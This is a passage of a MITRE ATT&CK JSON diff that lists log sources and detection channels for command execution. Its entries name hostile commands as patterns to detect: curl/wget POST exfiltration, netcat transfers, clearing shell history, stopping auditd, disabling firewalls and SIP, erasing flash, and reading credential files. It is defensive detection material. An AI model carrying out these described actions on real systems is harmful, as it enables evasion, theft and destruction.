ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances" + }, + { + "name": "esxi:vmkernel", + "channel": "Unexpected restarts of management agents or shell access" + }, + { + "name": "auditd:EXECVE", + "channel": "curl or wget with POST/PUT options" + }, + { + "name": "networkdevice:syslog", + "channel": "Detected CLI command to export key material" + }, + { + "name": "networkdevice:config", + "channel": "PKI export or certificate manipulation commands" + }, + { + "name": "macos:unifiedlog", + "channel": "command execution triggered by emond (e.g., shell, curl, python)" + }, + { + "name": "esxi:vmkernel", + "channel": "esxcli, vim-cmd invocation" + }, + { + "name": "esxi:shell", + "channel": "CLI session activity" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve=/sbin/shutdown or /sbin/reboot" + }, + { + "name": "esxi:shell", + "channel": "esxcli system shutdown or reboot invoked" + }, + { + "name": "networkdevice:syslog", + "channel": "reload command issued" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "name": "auditd:PROCTITLE", + "channel": "command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)" + }, + { + "name": "esxi:shell", + "channel": "shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration" + }, + { + "name": "vpxd.log", + "channel": "VM inventory queries and configuration enumeration through vCenter API calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls modifying HISTFILE or HISTCONTROL via unset/export" + }, + { + "name": "macos:unifiedlog", + "channel": "Set or unset HIST* variables in shell environment" + }, + { + "name": "esxi:shell", + "channel": "unset HISTFILE or HISTFILESIZE modifications" + }, + { + "name": "networkdevice:cli", + "channel": "Commands like 'no logging' or equivalents that disable session history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to /usr/bin/locale or shell execution of $LANG" + }, + { + "name": "macos:unifiedlog", + "channel": "defaults read -g AppleLocale or systemsetup -gettimezone" + }, + { + "name": "networkdevice:cli", + "channel": "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'" + }, + { + "name": "auditd:EXECVE", + "channel": "curl -T, rclone copy" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of systemctl or service with enable/start/modify" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl load/unload or plist file modification" + }, + { + "name": "networkdevice:syslog", + "channel": "syslog facility LOCAL7 or trap messages" + }, + { + "name": "linux:cli", + "channel": "/home/*/.bash_history" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of lsmod, modinfo, or cat /proc/modules" + }, + { + "name": "networkdevice:config", + "channel": "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers" + }, + { + "name": "macos:unifiedlog", + "channel": "dscl . -create" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks" + }, + { + "name": "esxi:vpxd", + "channel": "vCenter Management" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0064\", \"external_id\": \"DC0064\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Command\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of realmd, samba-tool, or ldapmodify with user-related arguments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dsconfigad or dscl with create or append options for AD-bound users\"}, {\"name\": \"EDR:AMSI\", \"channel\": \"None\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog or journalctl\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Get-ADTrust|GetAllTrustRelationships\"}, {\"name\": \"gcp:audit\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of script interpreters by systemd timer (ExecStart)\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"InvokeFunction\"}, {\"name\": \"m365:unified\", \"channel\": \"Automated forwarding or file sync initiated by a logic app\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4104\"}, {\"name\": \"linux:syslog\", \"channel\": \"Suspicious script or command execution targeting browser folders\"}, {\"name\": \"esxi:shell\", \"channel\": \"snapshot create/copy, esxcli\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands like systemctl stop , service stop, or kill -9 \"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl unload, kill, or pkill commands affecting daemons or background services\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security-agent detection or enumeration commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of Microsoft script to enumerate custom forms in Outlook mailbox\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email triggers execution of mailbox-stored custom form\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Use of mv or cp to rename files with '.' prefix\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of chflags hidden or SetFile -a V\"}, {\"name\": \"esxi:shell\", \"channel\": \"interactive shell\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"CLI command\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"/var/log/vmkernel.log\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to locale, timedatectl, or cat /etc/timezone\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults read -g AppleLocale, systemsetup -gettimezone\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"profiles install -type=configuration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sleep function usage or loops (nanosleep, usleep) in scripts\"}, {\"name\": \"m365:unified\", \"channel\": \"Search-Mailbox, Get-MessageTrace, eDiscovery requests\"}, {\"name\": \"EDR:cli\", \"channel\": \"Command Line Telemetry\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"loginwindow\\\" or \\\"pfctl\\\"'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Command Audit / Configuration Change\"}, {\"name\": \"WinEventLog:Microsoft-Office/OutlookAddinMonitor\", \"channel\": \"Outlook loading add-in via unexpected load path or non-default profile context\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or sudo usage with NOPASSWD context or echo modifying sudoers\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4104\"}, {\"name\": \"WinEventLog:Powershell\", \"channel\": \"EventCode=4104\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve: Execution of update-ca-certificates or trust anchor modification commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"gcore, gdb, strings, hexdump execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"connect, execve, write\"}, {\"name\": \"esxi:hostd\", \"channel\": \"command execution\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of auditctl, systemctl stop auditd, or kill -9 auditd\"}, {\"name\": \"macos:syslog\", \"channel\": \"system.log\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"docker:daemon\", \"channel\": \"docker exec or docker run with unexpected command/entrypoint\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call including 'nohup' or trailing '&'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"nohup, disown, or osascript execution patterns\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"CommandLine=copy-item or robocopy from UNC path\"}, {\"name\": \"esxi:shell\", \"channel\": \"invoked remote scripts (esxcli)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of systemctl with subcommands start, stop, enable, disable\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Policy Update\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"None\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand\"}, {\"name\": \"gcp:audit\", \"channel\": \"methodName: setIamPolicy, startInstance, createServiceAccount\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands executed within an SSH session where no matching logon/authentication event exists\"}, {\"name\": \"esxi:hostd\", \"channel\": \"modification of config files or shell command execution\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of 'profiles install -type=configuration'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem:com.apple.Terminal\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"eventlog\"}, {\"name\": \"esxi:hostd\", \"channel\": \"shell access or job registration\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"PowerShell launched from outlook.exe or triggered without user invocation\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email matches crafted rule trigger pattern tied to persistence logic\"}, {\"name\": \"linus:syslog\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103,4104\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unusual outbound transfers from CLI tools like base64, gzip, or netcat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"base64 or curl processes chained within short execution window\"}, {\"name\": \"esxi:shell\", \"channel\": \"base64 or gzip use within shell session\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chmod, execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"chmod command with arguments including '+s', 'u+s', or numeric values 4000\\u20136777\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command includes dscl . delete or sysadminctl --deleteUser\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file system activity monitor\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"ip ssh pubkey-chain\"}, {\"name\": \"esxi:shell\", \"channel\": \"scripts or binaries with misleading names\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of GUI-related binaries with suppressed window/display flags\"}, {\"name\": \"linuxsyslog\", \"channel\": \"nslcd or winbind logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DS daemon log entries\"}, {\"name\": \"esxi:hostd\", \"channel\": \"logline inspection\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil eraseDisk / asr restore with destructive flags\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"erase flash:, erase startup-config, format disk\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command_exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: iptables, nft, firewall-cmd modifications\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf\"}, {\"name\": \"esxi:hostd\", \"channel\": \"esxcli network firewall set commands\"}, {\"name\": \"docker:events\", \"channel\": \"container exec rm|container stop --force\"}, {\"name\": \"esxi:hostd\", \"channel\": \"event stream\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"CLI command logs\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log entries containing \\\"esxcli system clock get\\\"\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command-exec: CLI commands containing \\\"show clock\\\", \\\"show clock detail\\\", \\\"show timezone\\\" executed by suspicious user/source\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"cmd: cmd=show clock detail\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -X POST, wget --post-data\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo chage|grep pam_pwquality|cat /etc/login.defs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"pwpolicy|PasswordPolicy\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI command audit\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of PowerShell script to enumerate or remove malicious Home Page folder config\"}, {\"name\": \"m365:messagetrace\", \"channel\": \"Inbound email triggering Outlook to auto-access folder tied to malicious Home Page\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line contains smbutil view //, mount_smbfs //\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Invocation of scp, rsync, curl, or sftp\"}, {\"name\": \"esxi:hostd\", \"channel\": \"scp/ssh used to move file across hosts\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"command line arguments containing lsblk, fdisk, parted\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log messages related to disk enumeration context or Terminal session\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls modifying local mail filter configuration files\"}, {\"name\": \"esxi:hostd\", \"channel\": \"None\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"None\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user\"}, {\"name\": \"docker:api\", \"channel\": \"docker logs access or container inspect commands from non-administrative users\"}, {\"name\": \"esxi:shell\", \"channel\": \"command IN (\\\"esxcli vm process list\\\", \\\"vim-cmd vmsvc/getallvms\\\")\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: process_name IN (\\\"virsh\\\", \\\"VBoxManage\\\", \\\"qemu-img\\\") AND command IN (\\\"list\\\", \\\"info\\\")\"}, {\"name\": \"esxi:shell\", \"channel\": \"openssl|tar|dd\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SSM RunCommand\"}, {\"name\": \"azure:activity\", \"channel\": \"Intune PowerShell Scripts\"}, {\"name\": \"m365:exchange\", \"channel\": \"Cmdlet: Get-GlobalAddressList, Get-Recipient\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands like 'show running-config', 'copy running-config', or 'export config'\"}, {\"name\": \"esxi:syslog\", \"channel\": \"boot logs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"system boot logs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"defaults write com.apple.system.logging or logd manipulation\"}, {\"name\": \"esxi:hostd\", \"channel\": \"esxcli system syslog config set or reload\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: openssl pkcs12, certutil, keytool\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process calling security find-certificate, export, or import\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args\"}, {\"name\": \"m365:exchange\", \"channel\": \"Get-RoleGroup, Get-DistributionGroup\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of systemctl or service with enable/start parameters\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of log show, fs_usage, or cat targeting system.log\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetLogEvents: High frequency log exports from CloudWatch or equivalent services\"}, {\"name\": \"esxi:shell\", \"channel\": \"Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log\"}, {\"name\": \"esxi:shell\", \"channel\": \"CLI usage logs\"}, {\"name\": \"macos:syslog\", \"channel\": \"/var/log/system.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of launchctl load/unload/start commands\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Exchange Cmdlets\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of python, perl, or custom binaries invoking compression libraries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, USER_CMD\"}, {\"name\": \"auditd:USER_CMD\", \"channel\": \"USER_CMD\"}, {\"name\": \"esxi:shell\", \"channel\": \"Command execution trace\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"bash/zsh of base64, tar, gzip, or openssl immediately after file write\"}, {\"name\": \"linux:osquery\", \"channel\": \"Command-line includes base64 -d or openssl enc -d\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"base64 -d or osascript invoked on staged file\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl -d, wget --post-data\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Processes executing sendmail/postfix with forged headers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil partitionDisk or eraseVolume with partition scheme modifications\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"format flash:, format disk, reformat commands\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell command execution for chmod, chown, or file permission modification on VMFS or system files\"}, {\"name\": \"networkdevice:Firewall\", \"channel\": \"Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"grep/cat/awk on files with password fields\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"grep/cat on files matching credential patterns\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"process execution involving curl, grep, or awk on secrets\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"command-line execution invoking credential enumeration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"promiscuous mode transitions (ioctl or ifconfig)\"}, {\"name\": \"fs:fsusage\", \"channel\": \"access to BPF devices or interface IOCTLs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"exec command='monitor capture'\"}, {\"name\": \"WinEventLog:Microsoft-Office-Alerts\", \"channel\": \"Unexpected DLL or component loaded at Office startup\"}, {\"name\": \"m365:office\", \"channel\": \"Startup execution includes non-default component\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"diskutil eraseDisk/zeroDisk or asr restore with destructive flags\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"erase flash:, erase nvram:, format disk\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli system syslog config set --loghost='' or stopping hostd service\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"no logging buffered, no aaa new-model, disable firewall\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"git push, curl -X POST\"}, {\"name\": \"linux:cli\", \"channel\": \"command logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"command log\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"command logs\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"interactive shell logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"chattr, rm, shred, dd run on recovery directories or partitions\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command sequence: erase \\u2192 format \\u2192 reload\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: at, job runner\"}, {\"name\": \"macos:osquery\", \"channel\": \"Interpreter exec with suspicious arguments as above\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of downgraded interpreters such as python2 or forced fallback commands\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of gsettings set org.gnome.login-screen disable-user-list true\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of dscl . create with IsHidden=1\"}, {\"name\": \"linux:syslog\", \"channel\": \"sshd logs\"}, {\"name\": \"esxi:shell\", \"channel\": \"Shell Access/Command Execution\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI Command Logging\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"udev rule reload or trigger command executed\"}, {\"name\": \"linux:cli\", \"channel\": \"Shell history logs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'processImagePath contains \\\"zip\\\" OR \\\"base64\\\"'\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"command logging\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Command Execution\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd + process_events\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"DCUI shell start, BusyBox activity\"}, {\"name\": \"esxi:hostd\", \"channel\": \"remote CLI + vim-cmd logging\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"CLI Command Audit\"}, {\"name\": \"m365:defender\", \"channel\": \"Activity Log: Command Invocation\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"CmdletName: Get-Recipient, Get-User\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets\"}, {\"name\": \"linux:shell\", \"channel\": \"Manual invocation of software enumeration commands via interactive shell\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Command line arguments including SPApplicationsDataType\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ssm:GetCommandInvocation\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli software vib list\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of setfattr or getfattr commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr utility execution with -w or -p flags\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execution of tools like cat, grep, or awk on credential files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of 'security', 'cat', or 'grep' commands accessing credential storage\"}, {\"name\": \"linux:syslog\", \"channel\": \"CLI access to 'show running-config', 'show password', or 'cat config.txt'\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of curl, rsync, wget with internal knowledge base or IPs\"}, {\"name\": \"esxi:shell\", \"channel\": \"/root/.ash_history\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103,4104,4105, 4106\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of xev, xdotool, or input activity emulators\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl load or boot-time plist registration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of interpreters creating archive-like outputs without calling tar/gzip\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"command audit\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Interface commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dscl -create\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"esxcli system account add\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"useradd or /etc/passwd modified inside container\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"kextload execution from Terminal or suspicious paths\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Execution of PowerShell without -NoProfile flag\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Process execution of update-ca-certificates or openssl with suspicious arguments\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"xattr -d com.apple.quarantine or similar removal commands\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain\"}, {\"name\": \"linux:syslog\", \"channel\": \"Sudo or root escalation followed by filesystem mount commands\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4101\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4105\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4106\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"process title records containing discovery command sequences and environmental assessment patterns\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Security framework operations including keychain access, cryptographic operations, and certificate validation\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, New-InboxRule\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of curl, wget, or custom scripts accessing financial endpoints\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of chattr to set +i or +a attributes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of chflags hidden or setfile -a V\"}, {\"name\": \"esxi:shell\", \"channel\": \"mv, rename, or chmod commands moving VM files into hidden directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"execution + payload hints\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events.command_line\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:spawn, process:exec\"}, {\"name\": \"esxi:vobd\", \"channel\": \"shell session start\"}, {\"name\": \"networkdevice:cli\", \"channel\": \"shell command\"}, {\"name\": \"WinEventLog:Microsoft-Office-Alerts\", \"channel\": \"Office application warning or alert on macro execution from template\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation\"}, {\"name\": \"m365:office\", \"channel\": \"Execution of unsigned macro from template\"}, {\"name\": \"linux:cli\", \"channel\": \"Terminal Command History\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"csrutil disable\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log show --predicate 'process == '\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Privilege-level command execution\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of tar, gzip, bzip2, or openssl with output redirection\"}, {\"name\": \"saas:PRMetadata\", \"channel\": \"Commit message or branch name contains encoded strings or payload indicators\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context\"}, {\"name\": \"esxi:shell\", \"channel\": \"`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Unexpected restarts of management agents or shell access\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"curl or wget with POST/PUT options\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Detected CLI command to export key material\"}, {\"name\": \"networkdevice:config\", \"channel\": \"PKI export or certificate manipulation commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command execution triggered by emond (e.g., shell, curl, python)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"esxcli, vim-cmd invocation\"}, {\"name\": \"esxi:shell\", \"channel\": \"CLI session activity\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve=/sbin/shutdown or /sbin/reboot\"}, {\"name\": \"esxi:shell\", \"channel\": \"esxcli system shutdown or reboot invoked\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"reload command issued\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103, 4104\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)\"}, {\"name\": \"esxi:shell\", \"channel\": \"shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration\"}, {\"name\": \"vpxd.log\", \"channel\": \"VM inventory queries and configuration enumeration through vCenter API calls\"}, 